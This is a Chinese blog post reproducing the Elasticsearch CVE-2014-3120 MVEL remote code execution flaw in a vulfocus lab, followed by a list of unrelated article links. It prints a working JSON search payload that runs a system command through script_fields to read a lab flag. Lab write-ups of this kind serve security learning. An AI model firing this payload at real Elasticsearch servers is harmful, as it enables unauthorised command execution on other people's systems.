当前位置: 首页 > news >正文

cve_2014_3120-Elasticsearch-rce-vulfocus靶场

1.背景

来源:ElasticSearch(CVE-2014-3120)命令执行漏洞复现_mvel 漏洞-CSDN博客

参考:https://www.cnblogs.com/huangxiaosan/p/14398307.html

老版本ElasticSearch支持传入动态脚本(MVEL)来执行一些复杂的操作,而MVEL可执行Java代码,而且没有沙盒,所以我们可以直接执行任意代码。
知识点普及:
1、Elasticsearch,是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java语言开发的,并作为Apache许可条款下的开放源码发布,是一种流行的企业级搜索引擎。
2、Lucene,是apache软件基金会4 jakarta项目组的一个子项目,是一个开放源代码的全文检索引擎工具包,但它不是一个完整的全文检索引擎,而是一个全文检索引擎的架构,提供了完整的查询引擎和索引引擎,部分文本分析引擎。
3、沙盒,在计算机安全领域中是一种安全机制,为运行中的程序提供的隔离环境。通常是作为一些来源不可信、具破坏力或无法判定程序意图的程序提供实验之用。沙盒通常严格控制其中的程序所能访问的资源,所有改动对操作系统不会造成任何损失。

2.复现与vulfocus获取flag

待会要用的代码,由于es是用json方式传递的,所以我们需要json方式用java代码传递命令

{"size": 1,"query": {"filtered": {"query": {"match_all": {}}}},"script_fields": {"command": {"script":"import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"}}
}

ulfocus打开环境选择9200这个端口的映射端口打开

抓包之后去先创建一条数据

传递java代码实现命令执行

修改这个命令就可以查看到flag

相关文章:

  • 初始化css
  • 【回调函数】
  • 开源VisualFbeditor中文版,vb7 IDE,VB6升级64位跨平台开发安卓APP,Linux程序
  • 「动态规划」如何求粉刷房子的最少花费?
  • WordPress 高级缓存插件 W3 Total Cache Pro 详细配置教程
  • rocketmq做了哪些事情来提高性能
  • 多模态大模型思路
  • 修复损坏的Excel文件比你想象的要简单,这里提供几种常见的修复方法
  • 最好用的搜题软件大学?8个公众号和软件推荐清单! #知识分享#知识分享#经验分享
  • ui自动化中,selenium进行元素定位,以及CSS,xpath定位总结
  • 记录移动端项目iOS端相对于安卓的各种兼容性问题
  • Llama模型家族之Stanford NLP ReFT源代码探索 (二)Intervention Layers层
  • Vim 快捷键
  • Java进阶_接口
  • MySQL周内训参照1、ER实体关系图与数据库模型图绘制
  • [原]深入对比数据科学工具箱:Python和R 非结构化数据的结构化
  • 4. 路由到控制器 - Laravel从零开始教程
  • CSS实用技巧干货
  • css系列之关于字体的事
  • JS题目及答案整理
  • Mac 鼠须管 Rime 输入法 安装五笔输入法 教程
  • PHP那些事儿
  • Rancher如何对接Ceph-RBD块存储
  • ⭐ Unity + OpenCV 实现实时图像识别与叠加效果
  • 和 || 运算
  • 基于组件的设计工作流与界面抽象
  • 聊聊hikari连接池的leakDetectionThreshold
  • 浏览器缓存机制分析
  • 强力优化Rancher k8s中国区的使用体验
  • 全栈开发——Linux
  • 让你成为前端,后端或全栈开发程序员的进阶指南,一门学到老的技术
  • 深度学习在携程攻略社区的应用
  • 赢得Docker挑战最佳实践
  • 在 Chrome DevTools 中调试 JavaScript 入门
  • 翻译 | The Principles of OOD 面向对象设计原则
  • 曾刷新两项世界纪录,腾讯优图人脸检测算法 DSFD 正式开源 ...
  • ​LeetCode解法汇总2583. 二叉树中的第 K 大层和
  • # Swust 12th acm 邀请赛# [ E ] 01 String [题解]
  • # windows 运行框输入mrt提示错误:Windows 找不到文件‘mrt‘。请确定文件名是否正确后,再试一次
  • # wps必须要登录激活才能使用吗?
  • (~_~)
  • (2024,Vision-LSTM,ViL,xLSTM,ViT,ViM,双向扫描)xLSTM 作为通用视觉骨干
  • (delphi11最新学习资料) Object Pascal 学习笔记---第13章第6节 (嵌套的Finally代码块)
  • (ros//EnvironmentVariables)ros环境变量
  • (zt)最盛行的警世狂言(爆笑)
  • (二)Optional
  • (黑马C++)L06 重载与继承
  • (六)激光线扫描-三维重建
  • (免费领源码)Python#MySQL图书馆管理系统071718-计算机毕业设计项目选题推荐
  • (四)库存超卖案例实战——优化redis分布式锁
  • (一)python发送HTTP 请求的两种方式(get和post )
  • (转)h264中avc和flv数据的解析
  • (转)http协议
  • ******之网络***——物理***
  • ./include/caffe/util/cudnn.hpp: In function ‘const char* cudnnGetErrorString(cudnnStatus_t)’: ./incl